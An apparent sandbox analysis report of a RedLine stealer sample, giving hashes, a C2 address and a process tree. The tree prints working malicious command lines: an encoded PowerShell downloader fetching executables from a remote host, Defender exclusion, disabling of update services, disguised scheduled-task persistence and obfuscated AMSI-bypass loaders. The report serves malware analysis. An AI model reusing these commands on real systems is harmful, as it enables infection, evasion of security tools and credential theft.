Analysis

  • max time kernel
    52s
  • max time network
    76s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-01-2023 07:04

General

  • Target

    8aae493caafa6e42a5a7afe431aeac120ce4c152.exe

  • Size

    197KB

  • MD5

    78e69dd4d4eb058e9a2de5c4082c3133

  • SHA1

    8aae493caafa6e42a5a7afe431aeac120ce4c152

  • SHA256

    d3527f53eea79b90e0ea31e8c07a47924bdc0ed0dbaf635df7bb51fd580c91db

  • SHA512

    42e6b6950f6ce3b21d107acffe1c68c19193ad6f54538caad9fc84d0d143ee6e753cfb4c64f96ef2fb22ef7c1049cf1496a94382d2166ff67312f6cad1444777

  • SSDEEP

    6144:vmrFp1Uv1cVoar1HqOAORbMCIqxb/cTkc:vGFpv3vvbPb/cX

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1192
      • C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
        "C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2652
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3232
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1400
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                6⤵
                  PID:3548
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1400 -s 492
                  6⤵
                  • Program crash
                  PID:2296
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:3652
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:3580
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 240
            3⤵
            • Program crash
            PID:1312
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3852
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4560
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:3404
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:3460
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:3508
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:1300
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:1988
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
            3⤵
              PID:3680
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
              3⤵
                PID:4424
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                3⤵
                • Modifies security service
                PID:3224
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                3⤵
                  PID:4696
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                  3⤵
                    PID:376
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1048
                • C:\Windows\System32\dialer.exe
                  C:\Windows\System32\dialer.exe
                  2⤵
                    PID:1264
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2800 -ip 2800
                  1⤵
                    PID:2644
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1400 -ip 1400
                    1⤵
                      PID:1188
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:SeDxSJmXFniv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WhTHHMzXejaQMc,[Parameter(Position=1)][Type]$iijSWnwGVJ)$qlmDGjyNDGa=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+''+[Char](101)+'ct'+[Char](101)+''+'d'+'De'+'l'+''+[Char](101)+''+'g'+''+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+'g'+'a'+[Char](116)+'eT'+[Char](121)+'p'+'e'+'',''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+'Cl'+[Char](97)+''+'s'+''+'s'+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$qlmDGjyNDGa.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+'N'+''+'a'+''+[Char](109)+'e'+[Char](44)+''+'H'+''+[Char](105)+'d'+[Char](101)+''+'B'+''+[Char](121)+'Si'+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$WhTHHMzXejaQMc).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+'a'+[Char](103)+'e'+'d'+'');$qlmDGjyNDGa.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+'b'+'li'+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+'i'+'g'+','+'N'+''+[Char](101)+''+'w'+''+[Char](83)+'lo'+[Char](116)+','+'V'+'ir'+[Char](116)+''+'u'+'al',$iijSWnwGVJ,$WhTHHMzXejaQMc).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+'a'+[Char](103)+''+'e'+''+'d'+'');Write-Output $qlmDGjyNDGa.CreateType();}$QdkJMeNrQXCRA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+'e'+''+'m'+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+'n'+''+[Char](51)+'2.'+[Char](85)+''+[Char](110)+''+[Char](115)+'a'+'f'+''+[Char](101)+''+[Char](81)+''+[Char](100)+''+[Char](107)+''+[Char](74)+''+[Char](77)+'e'+[Char](78)+''+[Char](114)+''+[Char](81)+''+'X'+''+'C'+''+'R'+'A');$xEjKgCXDFfUyls=$QdkJMeNrQXCRA.GetMethod('x'+'E'+''+[Char](106)+''+'K'+''+[Char](103)+'CX'+'D'+''+[Char](70)+''+[Char](102)+'U'+[Char](121)+''+[Char](108)+''+[Char](115)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+'i'+[Char](99)+''+','+'S'+'t'+''+'a'+''+[Char](116)+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$MbMscOvhLbVuCzLcXNy=SeDxSJmXFniv @([String])([IntPtr]);$oadMUaxWtbqUTSzJQKpsge=SeDxSJmXFniv @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$oTcwRdopyBQ=$QdkJMeNrQXCRA.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+'l'+'e'+''+'H'+''+'a'+''+[Char](110)+''+[Char](100)+'le').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+''+'n'+''+[Char](101)+'l'+[Char](51)+''+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$CyEPnMAzbQTqwm=$xEjKgCXDFfUyls.Invoke($Null,@([Object]$oTcwRdopyBQ,[Object]('L'+[Char](111)+''+[Char](97)+''+'d'+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+'r'+'y'+[Char](65)+'')));$FvlDpQFfdcsfHpSQa=$xEjKgCXDFfUyls.Invoke($Null,@([Object]$oTcwRdopyBQ,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'al'+[Char](80)+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$LWHSrwK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CyEPnMAzbQTqwm,$MbMscOvhLbVuCzLcXNy).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+'dl'+[Char](108)+'');$RVRJBuADEEdDOZTqL=$xEjKgCXDFfUyls.Invoke($Null,@([Object]$LWHSrwK,[Object](''+[Char](65)+''+'m'+'si'+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$RaxTmighww=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FvlDpQFfdcsfHpSQa,$oadMUaxWtbqUTSzJQKpsge).Invoke($RVRJBuADEEdDOZTqL,[uint32]8,4,[ref]$RaxTmighww);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$RVRJBuADEEdDOZTqL,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FvlDpQFfdcsfHpSQa,$oadMUaxWtbqUTSzJQKpsge).Invoke($RVRJBuADEEdDOZTqL,[uint32]8,0x20,[ref]$RaxTmighww);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue('d'+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+'a'+'ger')).EntryPoint.Invoke($Null,$Null)
                      1⤵
                        PID:444
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:UvslYTqssbKO{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XrFhyxGLyheZPe,[Parameter(Position=1)][Type]$SlFMXGvVjc)$MCdXXgRFQAU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+'l'+[Char](101)+'ct'+[Char](101)+''+'d'+'D'+[Char](101)+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+'M'+[Char](101)+'m'+[Char](111)+'ry'+'M'+''+'o'+'d'+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+'l'+''+'e'+''+[Char](100)+''+[Char](44)+'A'+'n'+'s'+[Char](105)+''+[Char](67)+'las'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'to'+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$MCdXXgRFQAU.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+'i'+''+[Char](97)+'lNa'+'m'+'e'+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+'yS'+'i'+''+[Char](103)+',P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$XrFhyxGLyheZPe).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+'e'+',Ma'+'n'+'a'+[Char](103)+''+[Char](101)+'d');$MCdXXgRFQAU.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'','P'+[Char](117)+'bl'+'i'+'c,'+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+''+'S'+''+'i'+''+'g'+',N'+'e'+''+[Char](119)+''+'S'+''+'l'+''+[Char](111)+''+'t'+''+','+'Vi'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$SlFMXGvVjc,$XrFhyxGLyheZPe).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+'t'+''+'i'+''+'m'+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $MCdXXgRFQAU.CreateType();}$dwSXTlNXqZaok=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+'t'+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+'l'+'l'+'')}).GetType('Mi'+[Char](99)+''+[Char](114)+'o'+'s'+''+'o'+''+'f'+''+[Char](116)+'.'+'W'+''+'i'+''+[Char](110)+''+[Char](51)+'2.U'+'n'+'s'+[Char](97)+''+[Char](102)+''+[Char](101)+'d'+'w'+'SX'+'T'+''+[Char](108)+'N'+[Char](88)+''+[Char](113)+''+[Char](90)+''+[Char](97)+''+[Char](111)+''+'k'+'');$ySBYJbHQCUudbF=$dwSXTlNXqZaok.GetMethod('y'+[Char](83)+''+[Char](66)+''+[Char](89)+''+[Char](74)+'bH'+[Char](81)+''+[Char](67)+''+[Char](85)+'u'+[Char](100)+''+'b'+''+[Char](70)+'',[Reflection.BindingFlags]''+'P'+'u'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FrOWPGrBtwDGmFgqTJc=UvslYTqssbKO @([String])([IntPtr]);$makivdWqryhSBhkIDTOiqv=UvslYTqssbKO @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NxPOSbaDUkt=$dwSXTlNXqZaok.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+'e'+'Ha'+'n'+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'ne'+'l'+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+'l'+'l'+'')));$wsyAsJcoJsYyWN=$ySBYJbHQCUudbF.Invoke($Null,@([Object]$NxPOSbaDUkt,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'ar'+[Char](121)+''+'A'+'')));$DUfRcMSvWYyguVPAH=$ySBYJbHQCUudbF.Invoke($Null,@([Object]$NxPOSbaDUkt,[Object]('V'+'i'+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$iLuACYj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wsyAsJcoJsYyWN,$FrOWPGrBtwDGmFgqTJc).Invoke(''+[Char](97)+''+[Char](109)+'si.dl'+[Char](108)+'');$awxRzvMqGhvMTtguO=$ySBYJbHQCUudbF.Invoke($Null,@([Object]$iLuACYj,[Object]('Amsi'+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$uMgdbrgdAx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DUfRcMSvWYyguVPAH,$makivdWqryhSBhkIDTOiqv).Invoke($awxRzvMqGhvMTtguO,[uint32]8,4,[ref]$uMgdbrgdAx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$awxRzvMqGhvMTtguO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DUfRcMSvWYyguVPAH,$makivdWqryhSBhkIDTOiqv).Invoke($awxRzvMqGhvMTtguO,[uint32]8,0x20,[ref]$uMgdbrgdAx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'TWA'+[Char](82)+'E').GetValue(''+'d'+''+[Char](105)+''+'a'+'lers'+'t'+''+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                          PID:1152

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                          Filesize

                          4KB

                          MD5

                          bdb25c22d14ec917e30faf353826c5de

                          SHA1

                          6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

                          SHA256

                          e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

                          SHA512

                          b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                          Filesize

                          53KB

                          MD5

